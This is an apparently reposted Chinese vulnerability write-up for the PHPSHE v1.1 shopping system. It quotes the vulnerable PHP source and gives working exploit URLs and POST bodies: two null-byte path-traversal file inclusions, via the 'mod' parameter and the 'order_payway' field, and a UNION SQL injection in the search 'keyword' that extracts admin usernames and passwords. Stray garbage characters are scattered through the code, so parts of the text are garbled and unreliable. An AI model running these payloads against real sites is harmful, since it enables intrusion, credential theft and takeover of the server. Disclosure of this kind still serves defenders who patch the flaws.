phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
- Q$ i) H6 D% a( e/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输



//common.php
if (get_magic_quotes_gpc()) {
' I. A$ T. `  h8 g" O!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
5 n4 \/ A8 a' u" R$ Z7 q+ o" f!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
9 t7 m1 U. U1 q% l) Jelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, x5 |% {+ m4 z) y* ^}
session_start();
; b4 F, X6 c, _* X!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( v8 ^5 r/ h0 b  @# C
0×01 包含漏洞


6 a: Z% Y$ R$ n0 r8 L% T//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
% {7 G: F$ ]7 P4 x' o/ s' i8 H( E! ]//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& ~) S8 A9 e. W1 X' v//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
* l4 |& Y( |$ H& [2 x( Y# V

0×02 搜索注入
3 \, c, j* ^" h% f7 F6 g
<code id="code2">

//product.php文件
* o; [2 a0 _" v. I+ H8 [3 dcase 'list':
1 y$ e- L! q" I6 m) S8 u$category_id = intval($id);
6 z8 k: L1 [5 B/ p  {$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
# a* W3 a( c! w) u1 E$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
" @' z% ^% ?3 _9 eif ($category_id) {
% y1 A  {) ~& Cwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
; `1 a& T& q" c# _' T4 H9 ~  w% Y! G$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' }8 I2 f; [* y" Lif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
' _) a$ V  D% u# j4 ]  g% D6 L$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 ^1 E, p7 x$ R}
else {
$sqlwhere .= " order by `product_id` desc";
/ O3 P, L$ J9 \- k  ~8 d}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
. O! {- c7 N& E8 |" D7 W+ I. H& G$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
3 A  e9 z6 {& f; H/ N# qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
/ F* P- k" F: A# v% ~) s% k- w{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
' H) u7 {% ?* Breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
! {; h$ x9 Z1 h6 j, n5 B: n. n; dproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
/ ^7 C9 _2 S! P2 D( A4 n
9 O" O. U1 g& _( {0 u0×03 包含漏洞2

9 h# N) n+ T1 F# t" N<code id="code3">

//order.php

case 'pay':

' l) x/ v+ ~; V* j$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

4 `& f8 _2 c# Fforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

" N$ ~. G  p5 T! k" lif ($k == 'bank') {

8 b, a9 z& r' p# S6 [$ m* n$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

- n# M, }; y% o! ]" e/ y}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

9 N; [: n% Z# H( ~+ r4 Tinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

; \, c- Y5 `) ]! lpe_error('支付错误...');

}

- |: Z* ?: p/ p+ U/ N}

1 d9 p7 C# t+ z# I$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg